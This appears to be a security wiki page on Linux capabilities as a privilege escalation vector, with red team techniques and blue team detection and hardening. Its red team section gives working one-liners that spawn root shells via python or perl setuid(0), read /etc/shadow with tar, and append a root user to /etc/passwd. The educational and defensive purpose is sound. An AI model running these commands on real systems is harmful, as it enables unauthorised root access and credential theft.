Linux Capabilities
Capabilities split root’s powers into granular permissions that can be assigned to specific binaries, without giving them full SUID. The idea is good for security (a program that only needs to bind low ports doesn’t need to be full root), but a misassigned capability is as dangerous as a SUID: certain capabilities allow escalating to root directly. It’s a vector linpeas flags and many people overlook.
Threat model
Section titled “Threat model”The attacker looks for binaries carrying a dangerous capability in their extended attributes. Unlike SUID (which runs as the owner), a capability grants a specific power to the process even if it runs with the attacker’s UID. Some of those powers —change UID, bypass file permissions, debug processes, load modules— are equivalent to root. Capabilities are also the core of container security: an excess capability inside a container is an escape route to the host.
Theory / Anatomy
Section titled “Theory / Anatomy”Instead of “root can do anything,” the kernel splits that power into ~40 capabilities. Each executable file can carry a set in its xattrs (security.capability), with suffixes marking the sets: e (effective), p (permitted), i (inheritable). A binary with cap_setuid+ep starts with that capability active and permitted.
getcap -r / 2>/dev/null # list binaries with capabilities# example output:# /usr/bin/python3.11 = cap_setuid+epKey difference from SUID: with cap_setuid the binary runs with your UID but can invoke setuid(0); that’s why you must call it explicitly, whereas a SUID already runs as root.
Red Team
Section titled “Red Team”Dangerous capabilities and their exploitation
Section titled “Dangerous capabilities and their exploitation”cap_setuid—setuid(0)→ direct root (the cleanest case).cap_setgid— change GID.cap_dac_read_search— bypass read permissions → read/etc/shadow, SSH keys.cap_dac_override— bypass write permissions → edit/etc/passwd,sudoers.cap_sys_admin— “almost root”: mount, many privileged operations (container escape).cap_sys_ptrace— debug/inject into root processes.cap_sys_module— load kernel modules → root/rootkit.cap_chown/cap_fowner— change ownership/bypass owner checks.
# python/perl with cap_setuid+ep -> direct root./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'./perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh";'# cap_dac_read_search: read protected files (with tar/cp or the binary itself)./tar -cf shadow.tar /etc/shadow && ./tar -xf shadow.tar -O# cap_dac_override: add a UID 0 user to /etc/passwdecho 'pwn:$1$x$...:0:0::/root:/bin/bash' | ./tee -a /etc/passwdGTFOBins has a capabilities section per binary: if getcap shows one with a dangerous cap, look up the exact recipe there.
Containers and capabilities
Section titled “Containers and capabilities”A container with excess capabilities can escape to the host (see Container Escapes and Container security):
capsh --print # current process capabilitiesgrep Cap /proc/self/status # CapEff/CapBnd in hex -> capsh --decode=0x...# a container with --privileged or cap_sys_admin can mount and manipulate the hostThat’s why hardening insists on --cap-drop=ALL and adding only the essentials.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- auditd: watch
setcap/capset(capability assignment) and execution of interpreters carrying capabilities. - FIM: alert on binaries with new capabilities versus baseline (periodic
getcap -r /). - EDR:
setuid(0)from an interpreter,/etc/shadowreads by unusual processes.
Hardening
Section titled “Hardening”- Audit and minimize (
getcap -r /): remove unneeded ones (setcap -r <bin>). - Minimal capability: assign only the specific one the program needs; never
cap_setuid/cap_sys_adminif avoidable. - Don’t give capabilities to interpreters (python, perl, ruby): it’s trivial escalation.
- Containers:
--cap-drop=ALL+ add just what’s needed; combine with seccomp and AppArmor/SELinux; mountnosuid.
Response
Section titled “Response”An unexpected capability on an interpreter or hidden binary is likely persistence (see Persistence); remove it with setcap -r and hunt for other mechanisms.
Checklist
Section titled “Checklist”-
getcap -r / 2>/dev/null→ binaries with capabilities - Identify dangerous capabilities (setuid, dac_read_search, dac_override, sys_admin, sys_ptrace, sys_module)
- Exploit interpreters with
cap_setuid(python/perl →setuid(0)) -
cap_dac_read_search→ read/etc/shadow/keys -
cap_dac_override→ write/etc/passwd - Cross-reference GTFOBins (capabilities section)
- In a container:
capsh --printto see caps and possible escape - Blue: capabilities minimized, no caps on interpreters, cap-drop ALL?